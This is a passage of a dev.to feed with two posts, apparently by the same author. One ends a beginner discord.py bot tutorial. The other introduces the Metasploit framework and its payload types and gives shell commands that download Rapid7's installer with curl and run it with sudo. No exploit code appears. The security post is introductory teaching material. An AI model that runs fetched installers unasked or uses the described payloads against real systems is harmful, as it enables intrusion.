    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_presence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Game&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Making a    bot"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"Hello"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"World"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;First, we check if the content of the message is equal to “Hello”. If it’s anything else, the bot will not respond with “World”. Then, the &lt;code&gt;send_message&lt;/code&gt; method takes two parameters, the channel to send the message to, and the message to send (in the form of a string). The bot awaits until it sends this message, then looks for another response. Amazing! We just made our first bot using discord.py, but how can we connect it to our server now? Well, there’s one more piece of code we forgot.&lt;/p&gt;

&lt;p&gt;At the end of the code, you MUST add the &lt;code&gt;client.run()&lt;/code&gt; function, which runs the bot. It only takes one parameter, which is your bot’s token, which you should have seen earlier. Put this token in, and your bot should start up when you run the program!&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;discord&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_ready&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The bot is ready!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_presence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Game&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Making a    bot"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"Hello"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"World"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TOKEN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Thank you for reading it would be really nice to look around bellow at my credits &amp;lt;33. &lt;br&gt;
Comment if you want more tutorials like this! &lt;/p&gt;
&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Readme file
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
      &lt;h1&gt;
Welcome to Yuma-Tsushima's Github page!&lt;/h1&gt;
  &lt;p&gt;
  &lt;b&gt;Visitor count &lt;/b&gt;&lt;br&gt;
  &lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;img src="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.patreon.com/Order_of_the_Black_Knights_C2_bot" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6a6769e2d2eb0567975317a589549beaa5db99df73ce9d6f5f9004ec12eee28e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f537570706f72742d42757925323075732532306125323050697a7a612d6f72616e67652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d70617472656f6e" alt="Support"&gt;&lt;/a&gt;
&lt;a href="https://disboard.org/server/711260885531885648" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/018986f113096a2680c8fa03f313cdf0b8adf24be6d7b9df04b81f14e7897680/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f43322773253230506c6163652d4a6f696e2532307573253230666f7225323061253230636861742d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b3b2ffae6fa2d5de61341af99a4e69ce1546047acebcb5039aa106a8411b2209/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e253230746f253230636861742d4379626572417274427974652d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b8ae02d15a55c4261d919a7dd81f80335cf71d017eb6b737cc32698877f322f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f536f756e642d436c6f75642d7265642e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d736f756e64636c6f7564" alt="SoundCloud"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/blob/main/assets/terminalpython.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--30kNr2f4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/raw/main/assets/terminalpython.png"&gt;&lt;/a&gt;&lt;/p&gt;

      &lt;h3&gt;
About Myself&lt;/h3&gt;
      &lt;p&gt;Hello, my name is Yuma-Tsushima (frequently shortened to Yuma). I am an ambitious coder, and I enjoy coding in JavaScript (mainly). I also love making websites using HTML, CSS and (of course) JS! I started programming (self taught) at the age of 13. Originally, I came from the creative field ; I draw/sing/animate/make music.  &lt;/p&gt;
   

&lt;h3&gt;
Talents and Hobbies&lt;/h3&gt;
&lt;p&gt;I love drawing (I have been drawing all of my life). I play strategy games, I code and I do CTFs! I am also good at animation, making AMVs and image editing. My favourite game is Mindustry, followed by Flow Free and Sudoku. I love watching anime (I love Code Geass - I relate to Lelouch a lot) and I aspire to create my own anime!&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a"&gt;&lt;img src="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a" alt="Drawing"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042"&gt;&lt;img src="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042" alt="Music"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025" alt="Digital Artwork"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041" alt="ICT"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041" alt="Electronics"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525"&gt;&lt;img src="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525" alt="Desgins"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025" alt="Web dev"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525"&gt;&lt;img src="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525" alt="Strategy"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt; Check out my work!: &lt;/b&gt; &lt;br&gt;
❯ Soundcloud : &lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;0c7av3h4ck5&lt;/a&gt; &lt;br&gt;
❯ Discord : &lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;{CyberArtByte}&lt;/a&gt;  &lt;br&gt;
❯ Artwork : &lt;a href="https://medibang.com/u/AcceleratorArts07/" rel="nofollow"&gt;AcceleratorArts07&lt;/a&gt; &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Recent Medium&lt;/b&gt;…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/hack-with-your-heart-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Author: Yuma-Tsushima&lt;/p&gt;

</description>
      <category>python</category>
      <category>programming</category>
    </item>
    <item>
      <title>[Cybersecurity &amp; Linux Tools] How to install Metasploit?</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Fri, 25 Jun 2021 20:49:08 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/cybersecurity-linux-tools-how-to-install-metasploit-2c58</link>
      <guid>https://dev.to/yumatsushima07/cybersecurity-linux-tools-how-to-install-metasploit-2c58</guid>
      <description>&lt;p&gt;Many people have been using this tool Metasploit. You came across on it on many tutorials and wondered how do you actually install this?&lt;br&gt;
Well I will guide your through!&lt;/p&gt;
&lt;h2&gt;
  
  
  What is the purpose of Metasploit? What do people even use it for?
&lt;/h2&gt;

&lt;p&gt;The Metasploit framework is a very powerful tool which can be used by cybercriminals as well as ethical hackers to probe systematic vulnerabilities on networks and servers. Because it’s an open-source framework, it can be easily customized and used with most operating systems.&lt;/p&gt;

&lt;p&gt;With Metasploit, the pen testing team can use ready-made or custom code and introduce it into a network to probe for weak spots. As another flavour of threat hunting, once flaws are identified and documented, the information can be used to address systemic weaknesses and prioritize solutions.&lt;/p&gt;
&lt;h2&gt;
  
  
  Who uses Metasploit?
&lt;/h2&gt;

&lt;p&gt;Due to its wide range of applications and open-source availability, Metasploit is used by everyone from the evolving field of DevSecOps pros to hackers. It’s helpful to anyone who needs an easy to install, reliable tool that gets the job done regardless of which platform or language is used. The software is popular with hackers and widely available, which reinforces the need for security professionals to become familiar with the framework even if they don’t use it.&lt;/p&gt;

&lt;p&gt;Metasploit now includes more than 1677 exploits organized over 25 platforms, including Android, PHP, Python, Java, Cisco, and more. The framework also carries nearly 500 payloads, some of which include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Command shell payloads that enable users to run scripts or random commands against a host&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Dynamic payloads that allow testers to generate unique payloads to evade antivirus software&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Meterpreter payloads that allow users to commandeer device monitors using VMC and to take over sessions or upload and download files&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Static payloads that enable port forwarding and communications between networks&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  How to install Metasploit?
&lt;/h2&gt;

&lt;p&gt;Now we have read the background information. You are ready to install!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt dist-upgrade
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt autoremove


&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; msfinstall

&lt;span class="nb"&gt;chmod&lt;/span&gt; +x msfinstall
&lt;span class="nb"&gt;sudo&lt;/span&gt; ./msfinstall

msfdb init

msfconsole

&lt;span class="nb"&gt;sudo &lt;/span&gt;msfupdate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Readme file
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
      &lt;h1&gt;
Welcome to Yuma-Tsushima's Github page!&lt;/h1&gt;
  &lt;p&gt;
  &lt;b&gt;Visitor count &lt;/b&gt;&lt;br&gt;
  &lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;img src="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.patreon.com/Order_of_the_Black_Knights_C2_bot" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6a6769e2d2eb0567975317a589549beaa5db99df73ce9d6f5f9004ec12eee28e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f537570706f72742d42757925323075732532306125323050697a7a612d6f72616e67652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d70617472656f6e" alt="Support"&gt;&lt;/a&gt;
&lt;a href="https://disboard.org/server/711260885531885648" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/018986f113096a2680c8fa03f313cdf0b8adf24be6d7b9df04b81f14e7897680/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f43322773253230506c6163652d4a6f696e2532307573253230666f7225323061253230636861742d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b3b2ffae6fa2d5de61341af99a4e69ce1546047acebcb5039aa106a8411b2209/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e253230746f253230636861742d4379626572417274427974652d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b8ae02d15a55c4261d919a7dd81f80335cf71d017eb6b737cc32698877f322f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f536f756e642d436c6f75642d7265642e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d736f756e64636c6f7564" alt="SoundCloud"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/blob/main/assets/terminalpython.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--30kNr2f4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/raw/main/assets/terminalpython.png"&gt;&lt;/a&gt;&lt;/p&gt;

      &lt;h3&gt;
About Myself&lt;/h3&gt;
      &lt;p&gt;Hello, my name is Yuma-Tsushima (frequently shortened to Yuma). I am an ambitious coder, and I enjoy coding in JavaScript (mainly). I also love making websites using HTML, CSS and (of course) JS! I started programming (self taught) at the age of 13. Originally, I came from the creative field ; I draw/sing/animate/make music.  &lt;/p&gt;
   

&lt;h3&gt;
Talents and Hobbies&lt;/h3&gt;
&lt;p&gt;I love drawing (I have been drawing all of my life). I play strategy games, I code and I do CTFs! I am also good at animation, making AMVs and image editing. My favourite game is Mindustry, followed by Flow Free and Sudoku. I love watching anime (I love Code Geass - I relate to Lelouch a lot) and I aspire to create my own anime!&lt;/p&gt;
